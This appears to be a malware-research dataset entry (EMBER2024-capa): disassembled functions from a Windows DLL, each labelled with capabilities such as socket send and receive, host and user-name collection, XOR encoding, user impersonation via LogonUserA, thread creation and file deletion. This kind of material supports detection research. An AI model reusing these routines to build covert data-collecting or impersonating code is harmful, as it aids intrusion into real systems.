joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800138fc
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
test r8d, r8d
jne 0x18001390e
lea eax, [rbx + 1]
jmp 0x18001391f
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x180013af0
Capabilities:
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, rcx
mov ecx, 0x494
call fcn.180013cb8
mov edx, __WSAFDIsSet
mov rcx, rax
mov rbp, rax
call fcn.180013e0c
mov r13d, 0x100
mov rcx, rbp
mov edx, r13d
mov r14, rax
call fcn.180013e0c
mov edx, r13d
mov rcx, rbp
mov rsi, rax
call fcn.180013e0c
mov edx, r13d
mov rcx, rbp
mov r15, rax
call fcn.180013e0c
mov edx, r13d
mov rcx, rbp
mov r12, rax
call fcn.180013e0c
lea rdx, [rsp + 0x70]
mov rcx, r12
mov dword [rsp + 0x70], r13d
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, [rsp + 0x70]
mov rcx, r15
mov dword [rsp + 0x70], r13d
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edx, r13d
mov rcx, rbx
call fcn.18000e4d4
mov r8d, 0x100
mov rdx, rbx
xor ecx, ecx
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x180013bcd
mov edx, 0x5c
mov rcx, rbx
call fcn.18001ba90
mov rbx, rax
test rax, rax
je 0x180013bcd
inc rbx
jne 0x180013bd4
lea rbx, [0x18002c83a]
mov rcx, r14
mov dword [r14], __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [r14 + 4]
mov rcx, rdi
mov dword [0x180046a60], eax
mov dl, byte [r14 + 4]
call fcn.18000d798
mov dl, byte [r14 + 8]
mov rcx, rdi
call fcn.18000d798
movzx edx, word [r14 + 0xc]
mov rcx, rdi
call fcn.18000d830
mov rdx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
sar rdx, 0x20
call fcn.18000d800
mov edx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rdi
call fcn.18000d800
mov edx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
call fcn.18000d800
mov edx, r13d
mov rcx, rdi
call fcn.18000d800
lea r8, str._s_t_s_t_s
mov r9, r15
mov edx, 0x100
mov rcx, rsi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
call fcn.180019c3c
or rax, 0xffffffffffffffff
inc rax
cmp byte [rsi + rax], 0
jne 0x180013c72
mov ecx, 0x3a
mov rdx, rsi
cmp eax, ecx
cmovg eax, ecx
mov rcx, rdi
mov r8d, eax
call fcn.18000d7b8
mov rcx, rbp
call fcn.180013da0
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1800144a0
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov ebx, 1
mov edi, r8d
mov esi, edx
mov dword [rax + 0x20], ebx
mov ebp, ecx
call fcn.18000e52c
lea r15d, [rbx + 1]
xor r8d, r8d
mov edx, ebx
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_socket]
or r14, 0xffffffffffffffff
mov rbx, rax
cmp rax, r14
jne 0x1800144ef
mov rax, r14
jmp 0x180014558
movzx ecx, si
mov word [rsp + 0x20], r15w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x68]
mov edx, 0x8004667e
mov rcx, rbx
mov dword [rsp + 0x24], ebp
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, r14d
jne 0x18001452a
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1800144ea
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_bind]
mov rcx, rbx
cmp eax, r14d
je 0x180014522
mov edx, edi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, r14d
jne 0x180014555
mov rcx, rbx
jmp 0x180014522
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x1800145c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call fcn.180014608
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0xdac]
mov rcx, rbx
call fcn.180014928
test eax, eax
jle 0x1800145f4
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jb 0x1800145de
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x180014a34
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, qword [0x18003f400]
xor edi, edi
test rbx, rbx
je 0x180014ad2
mov eax, dword [rbx + 4]
test eax, eax
jne 0x180014a65
cmp dword [rbx + 0xc], eax
jne 0x180014a6e
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + 0xc], eax
mov rdi, rbx
mov rbx, qword [rbx + 0x28]
jmp 0x180014a47
test eax, eax
jne 0x180014a65
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0xc]
cmp eax, 0x3e8
jbe 0x180014a65
cmp dword [rbx + 0x10], 0
jne 0x180014a97
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x180014aab
cmp dword [rbx + 0x10], 2
je 0x180014a65
mov rax, qword [rbx + 0x28]
mov rcx, rbx
test rdi, rdi
je 0x180014ac6
mov qword [rdi + 0x28], rax
call fcn.180019840
mov rbx, qword [rdi + 0x28]
jmp 0x180014a47
mov qword [0x18003f400], rax
call fcn.180019840
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180014928
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r15
sub rsp, 0x20
and dword [rax + 0x10], 0
mov rbx, qword [0x18003f400]
xor edi, edi
cmp qword [0x18003f408], rdi
mov rsi, rcx
jne 0x180014967
mov ecx, 0x100000
call fcn.180019880
mov qword [0x18003f408], rax
test rbx, rbx
je 0x180014a1b
mov r15d, 0xffffc
cmp dword [rbx + 4], 1
jne 0x180014a0e
mov ecx, dword [rbx]
call qword [sym.imp.WS2_32.dll_htonl]
lea r8, [rsp + 0x38]
mov edx, 0x4004667f
mov ecx, eax
mov rax, qword [0x18003f408]
mov dword [rax], ecx
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r8d, dword [rsp + 0x38]
cmp r8d, r15d
cmova r8d, r15d
mov dword [rsp + 0x38], r8d
cmp eax, 0xffffffff
je 0x1800149db
test r8d, r8d
je 0x180014a0e
mov rdx, qword [0x18003f408]
mov rcx, qword [rbx + 0x20]
add rdx, 4
call fcn.180014ae0
cmp eax, 0xffffffff
jne 0x1800149f2
mov rcx, qword [0x18003f408]
and dword [rbx + 4], 0
mov edx, 4
mov r8d, edx
call rsi
jmp 0x180014a0e
mov edx, dword [rsp + 0x38]
cmp eax, edx
jne 0x180014a0e
mov rcx, qword [0x18003f408]
add edx, 4
mov r8d, 5
call rsi
inc edi
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x180014976
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret

Function at 0x180014a34
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call fcn.180014608
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0xdac]
mov rcx, rbx
call fcn.180014928
test eax, eax
jle 0x1800145f4
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jb 0x1800145de
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x180014a34
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, qword [0x18003f400]
xor edi, edi
test rbx, rbx
je 0x180014ad2
mov eax, dword [rbx + 4]
test eax, eax
jne 0x180014a65
cmp dword [rbx + 0xc], eax
jne 0x180014a6e
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + 0xc], eax
mov rdi, rbx
mov rbx, qword [rbx + 0x28]
jmp 0x180014a47
test eax, eax
jne 0x180014a65
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0xc]
cmp eax, 0x3e8
jbe 0x180014a65
cmp dword [rbx + 0x10], 0
jne 0x180014a97
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x180014aab
cmp dword [rbx + 0x10], 2
je 0x180014a65
mov rax, qword [rbx + 0x28]
mov rcx, rbx
test rdi, rdi
je 0x180014ac6
mov qword [rdi + 0x28], rax
call fcn.180019840
mov rbx, qword [rdi + 0x28]
jmp 0x180014a47
mov qword [0x18003f400], rax
call fcn.180019840
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180014ae0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov esi, r8d
mov rbp, rdx
mov rdi, rcx
test r8d, r8d
jle 0x180014b2a
mov r8d, esi
xor r9d, r9d
mov rdx, rbp
sub r8d, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
add rbp, rcx
add ebx, ecx
cmp ecx, 0xffffffff
je 0x180014b41
cmp ebx, esi
jl 0x180014b04
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov edx, 2
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x180014b2c

Function at 0x180014b60
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x450
mov esi, r8d
mov rbp, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
and dword [rsp + 0x478], 0
mov dword [rsp + 0x47c], 0x64
lea ebx, [rax + 0x7530]
jmp 0x180014c43
mov rax, qword [rdi + 0x20]
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x240]
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x478]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x240], 1
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 1
call qword [sym.imp.WS2_32.dll_select]
mov rcx, qword [rdi + 0x20]
lea rdx, [rsp + 0x30]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x180014c51
mov rcx, qword [rdi + 0x20]
lea rdx, [rsp + 0x240]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x180014c43
mov rcx, qword [rdi + 0x20]
xor r9d, r9d
mov r8d, esi
mov rdx, rbp
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x180014c51
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x180014c51
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebx
jb 0x180014ba4
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180016928
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r14, rcx
mov r12d, 0x8000
mov r15, r8
mov ecx, r12d
mov rsi, rdx
call fcn.180019880
lea r8, str._s
mov r9, r14
mov rcx, rax
mov edx, r12d
mov rbx, rax
call fcn.180019c3c
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rcx, rbx
mov rbp, rax
call fcn.180019840
cmp rbp, 0xffffffffffffffff
je 0x180016a46
lea rdi, [rsi + 0x2c]
test byte [rsi], 0x10
je 0x180016a1d
mov al, byte [rdi]
cmp al, byte [0x18002c8c4]
jne 0x1800169b3
mov al, byte [rdi + 1]
cmp al, byte [0x18002c8c5]
je 0x180016a29
mov al, byte [rdi]
cmp al, byte [0x18002c8c8]
jne 0x1800169d3
mov al, byte [rdi + 1]
cmp al, byte [0x18002c8c9]
jne 0x1800169d3
mov al, byte [rdi + 2]
cmp al, byte [0x18002c8ca]
je 0x180016a29
mov rcx, r12
call fcn.180019880
lea r8, [0x18002c6c8]
mov r9, rdi
mov rcx, rax
mov rdx, r12
mov rbx, rax
call fcn.180019c3c
mov r9, r15
mov r8, rsi
mov rdx, rdi
mov rcx, r14
call fcn.180016a68
mov r8d, 1
mov rdx, rbx
mov rcx, r14
call r15
mov rcx, rbx
call fcn.180019840
jmp 0x180016a29
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call r15
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180016999
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x180016e88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x38
call fcn.180016e08
mov qword [rsp + 0x20], rax
xor eax, eax
cmp eax, 1
je 0x180016f00
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x180016ef1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0x40
jb 0x180016ef1
cmp qword [rsp + 0x28], 0x400
jae 0x180016ef1
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
jne 0x180016ef1
jmp 0x180016f00
mov rax, qword [rsp + 0x20]
dec rax
mov qword [rsp + 0x20], rax
jmp 0x180016e96
mov rax, qword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x1800177c8
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x38
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + rax + 0x18]
mov qword [rsp], rax
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + 6]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 8]
dec rax
mov qword [rsp + 8], rax
cmp qword [rsp + 0x20], 0
je 0x1800178b1
mov rax, qword [rsp]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10], rax
mov rax, qword [rsp]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp]
mov eax, dword [rax + 0x10]
mov qword [rsp + 0x18], rax
mov rdi, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x18]
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp]
mov eax, dword [rax + 0x24]
and eax, 0x20000000
cmp eax, 0x20000000
jne 0x1800178a0
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x18]
mov dword [rax], ecx
mov rax, qword [rsp]
add rax, 0x28
mov qword [rsp], rax
jmp 0x180017807
add rsp, 0x38
pop rdi
pop rsi
ret
Function at 0x180018628
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r15
sub rsp, 0x40
mov qword [0x180046a50], rcx
mov ebx, 0x400
mov ecx, ebx
call fcn.180019880
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov qword [0x180046a58], rax
call fcn.180019b30
xor r15d, r15d
lea rbp, str.._._._..._._._1
mov eax, r15d
xor byte [rax + rbp], 0x2e
inc rax
cmp rax, 0x1000
jl 0x180018675
lea rcx, [rsp + 0x20]
mov r8d, 0x1000
mov rdx, rbp
call fcn.180013dc4
jmp 0x180018742
lea rcx, [rsp + 0x20]
call fcn.180013e70
lea rcx, [rsp + 0x20]
movsx ebx, ax
call fcn.180013e70
mov rcx, qword [0x180046a58]
movsx rdi, di
mov edx, ebx
movzx esi, ax
shl rdi, 4
mov word [rdi + rcx], bx
dec edx
je 0x18001872c
dec edx
je 0x180018715
dec edx
jne 0x180018742
movsx rbx, ax
mov rcx, rbx
call fcn.180019880
mov rdx, qword [0x180046a58]
lea rcx, [rsp + 0x20]
mov qword [rdi + rdx + 8], rax
movsx edx, si
call fcn.180013e0c
mov rcx, qword [0x180046a58]
mov r8, rbx
mov rcx, qword [rdi + rcx + 8]
mov rdx, rax
call fcn.18001a190
jmp 0x180018742
lea rcx, [rsp + 0x20]
call fcn.180013dd4
mov rcx, qword [0x180046a58]
mov dword [rdi + rcx + 8], eax
jmp 0x180018742
lea rcx, [rsp + 0x20]
call fcn.180013e70
mov rdx, qword [0x180046a58]
mov word [rdi + rdx + 8], ax
lea rcx, [rsp + 0x20]
call fcn.180013e70
movzx edi, ax
test ax, ax
jg 0x18001869c
xor edx, edx
mov r8d, 0x1000
mov rcx, rbp
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r15
jmp fcn.180019b30

Function at 0x180018b74
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
or rsi, 0xffffffffffffffff
mov rdi, rdx
mov rbx, rcx
lea edx, [rsi + 0x19]
lea r9d, [rsi + 5]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov qword [rax], rbx
mov qword [rax + 8], rdi
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [r14 + 0x10], rax
call fcn.180018cec
mov r8, qword [0x180042788]
test r8, r8
je 0x180018be9
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov r9, r14
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop r14
ret

Function at 0x180018c04
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov esi, 1
mov rdi, rcx
mov rbx, rdx
add dword [0x180042780], esi
lea ecx, [rsi + 0x26]
call fcn.1800185f8
cmp ax, si
jne 0x180018c3e
mov rdx, rbx
mov rcx, rdi
call fcn.180018b74
jmp 0x180018c59
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov r9, rbx
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x180018c6c
Capabilities:
Create thread
Terminate process

Disassembly:
sub rsp, 0x38
mov ecx, gethostname
call fcn.1800185f8
mov ecx, 0x27
cmp ax, 1
jne 0x180018ca6
call fcn.1800185f8
cmp ax, 1
jne 0x180018c9d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180018c90
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
call fcn.1800185f8
cmp ax, 1
jne 0x180018ce1
mov r8, qword [sym.imp.KERNEL32.dll_ExitProcess]
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
add rsp, 0x38
jmp qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x180019058
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rax, [rbp + 0x20]
lea rcx, [rbp + 0x18]
mov r9d, 0x220
mov qword [rsp + 0x50], rax
and dword [rsp + 0x48], 0
and dword [rsp + 0x40], 0
and dword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov r8d, 0x20
mov dl, 2
mov dword [rbp + 0x18], 0
mov word [rbp + 0x1c], 0x500
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rbp + 0x10], eax
test eax, eax
je 0x1800190d8
mov rdx, qword [rbp + 0x20]
lea r8, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
neg eax
sbb ecx, ecx
and dword [rbp + 0x10], ecx
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rbp + 0x10]
add rsp, 0x60
pop rbp
ret
Function at 0x1800190e0
Capabilities:
Impersonate user

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbp, r9
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
call fcn.180018e94
lea rax, [0x180042790]
mov qword [rsp + 0x28], rax
mov r9d, 9
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
mov dword [rsp + 0x20], 3
call qword [sym.imp.ADVAPI32.dll_LogonUserA]
test eax, eax
jne 0x180019149
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x18
mov edx, eax
call fcn.18000db48
jmp 0x180019236
mov rcx, qword [0x180042790]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x180019167
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x19
jmp 0x18001913d
mov ecx, 0x800
call fcn.180013cb8
mov edx, 0x200
mov rcx, rax
mov qword [0x1800427b0], rax
call fcn.180013e0c
mov rcx, qword [0x1800427b0]
mov edx, 0x200
mov qword [0x180042798], rax
call fcn.180013e0c
mov rcx, qword [0x1800427b0]
mov edx, 0x400
mov qword [0x1800427a0], rax
call fcn.180013e0c
mov rdx, qword [0x1800427a0]
mov r8d, 0x100
mov rcx, rbx
mov qword [0x1800427a8], rax
call fcn.18000efd0
mov rdx, qword [0x180042798]
mov r8d, 0x100
mov rcx, rsi
call fcn.18000efd0
mov rdx, qword [0x1800427a8]
mov r8d, 0x200
mov rcx, rdi
call fcn.18000efd0
mov rcx, qword [0x180042790]
mov r8d, 0x400
mov rdx, rbx
mov dword [0x1800427b8], 1
call fcn.180019328
test eax, eax
je 0x180019236
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rbx + rdx], 0
jne 0x180019222
mov r8d, reloc.WS2_32.dll_ntohs
mov rcx, rbx
call rbp
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x18001955c
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov esi, r8d
mov rdi, rdx
mov rbp, rcx
test r8d, r8d
je 0x1800195b6
xor r9d, r9d
mov edx, ebx
mov rcx, rbp
lea r8d, [r9 + 1]
add rdx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1800195b6
add ebx, eax
cmp ebx, 2
jb 0x1800195b2
lea eax, [rbx - 1]
cmp byte [rax + rdi], 0xa
jne 0x1800195b2
lea eax, [rbx - 2]
cmp byte [rax + rdi], 0xd
je 0x1800195ce
cmp ebx, esi
jb 0x180019580
or eax, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
lea ecx, [rbx - 2]
mov eax, ebx
mov byte [rcx + rdi], 0
jmp 0x1800195b9

Function at 0x18001ac84
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.18001aaec

Function at 0x180022640
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x180022656
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180022658
xor eax, eax
test eax, eax
je 0x180022668
mov ecx, eax
call fcn.18001beb4
or eax, 0xffffffff
jmp 0x18002266a
xor eax, eax
add rsp, 0x28
ret
Function at 0x180022670
Capabilities:
Create directory

Disassembly:
sub rsp, 0x28
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x180022688
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18002268a
xor eax, eax
test eax, eax
je 0x18002269a
mov ecx, eax
call fcn.18001beb4
or eax, 0xffffffff
jmp 0x18002269c
xor eax, eax
add rsp, 0x28
ret

Function at 0x1800226a4
Capabilities:
Delete directory

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x1800226ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1800226bc
xor eax, eax
test eax, eax
je 0x1800226cc
mov ecx, eax
call fcn.18001beb4
or eax, 0xffffffff
jmp 0x1800226ce
xor eax, eax
add rsp, 0x28
ret